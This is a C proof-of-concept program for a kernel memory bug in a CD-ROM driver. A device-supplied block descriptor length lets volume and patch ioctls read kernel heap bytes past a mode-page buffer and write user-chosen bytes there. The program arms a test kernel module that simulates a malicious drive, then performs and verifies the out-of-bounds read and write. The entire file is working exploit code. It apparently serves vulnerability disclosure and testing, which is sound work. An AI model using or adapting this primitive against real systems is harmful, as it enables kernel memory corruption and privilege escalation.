/* DF-5271 PoC: OOB read+write through the mode-page pointer
 * (device-controlled blk_desc_len from MODE SENSE(10)).
 *
 * 1. opens the evilcd cd(4) device
 * 2. arms the device (sysctl debug.evilcd.armed=1) -> first audio ioctl
 *    makes cd6byteworkaround() switch the periph to 10-byte commands
 * 3. CDIOCGETVOL  -> reads 4 bytes at mode_buf + 8 + blkdesc + {12,14,16,18}
 *                    (OOB read returned to userland)
 * 4. CDIOCSETVOL  -> writes user bytes at the same OOB offsets
 * 5. userland then asks the KLD (debug.evilcd.check_victims=1) to scan the
 *    sprayed victim chunks: the written markers must show up in a live
 *    foreign heap object.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/cdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

int
main(int argc, char **argv)
{
	const char *dev = argv[1] ? argv[1] : "/dev/cd1";
	struct ioc_vol vol;
	int fd, i;

	fd = open(dev, O_RDONLY);
	if (fd < 0) {
		perror(dev);
		exit(1);
	}
	printf("[poc] opened %s\n", dev);

	/* arm: 6-byte mode sense now fails -> workaround -> 10-byte + evil */
	if (argc < 3 || strcmp(argv[2], "noarm") != 0) {
		if (system("sysctl debug.evilcd.armed=1") != 0) {
			perror("sysctl armed");
			exit(1);
		}
	}

	/* OOB READ via CDIOCGETVOL (also triggers the 6->10 switch) */
	memset(&vol, 0, sizeof(vol));
	if (ioctl(fd, CDIOCGETVOL, &vol) < 0) {
		perror("CDIOCGETVOL");
		exit(1);
	}
	printf("[poc] CDIOCGETVOL (OOB read, blkdesc=0x400): "
	    "vol = %02x %02x %02x %02x\n",
	    vol.vol[0], vol.vol[1], vol.vol[2], vol.vol[3]);

	/* OOB WRITE via CDIOCSETVOL: 4 user-controlled bytes */
	vol.vol[0] = 0x66;
	vol.vol[1] = 0x67;
	vol.vol[2] = 0x68;
	vol.vol[3] = 0x69;
	if (ioctl(fd, CDIOCSETVOL, &vol) < 0) {
		perror("CDIOCSETVOL");
		exit(1);
	}
	printf("[poc] CDIOCSETVOL wrote {66 67 68 69} at "
	    "mode_buf+8+0x400+{12,14,16,18}\n");

	/* OOB WRITE via CDIOCSETPATCH: 4 different user bytes */
	{
		struct ioc_patch p;
		memset(&p, 0, sizeof(p));
		p.patch[0] = 0xA1;
		p.patch[1] = 0xA2;
		p.patch[2] = 0xA3;
		p.patch[3] = 0xA4;
		if (ioctl(fd, CDIOCSETPATCH, &p) < 0) {
			perror("CDIOCSETPATCH");
			exit(1);
		}
		printf("[poc] CDIOCSETPATCH wrote {A1 A2 A3 A4} at "
		    "mode_buf+8+0x400+{11,13,15,17}\n");
	}

	/* read back what we wrote (proves both read+write symmetry) */
	memset(&vol, 0, sizeof(vol));
	if (ioctl(fd, CDIOCGETVOL, &vol) == 0) {
		printf("[poc] CDIOCGETVOL readback: "
		    "vol = %02x %02x %02x %02x\n",
		    vol.vol[0], vol.vol[1], vol.vol[2], vol.vol[3]);
	}

	close(fd);
	return (0);
}
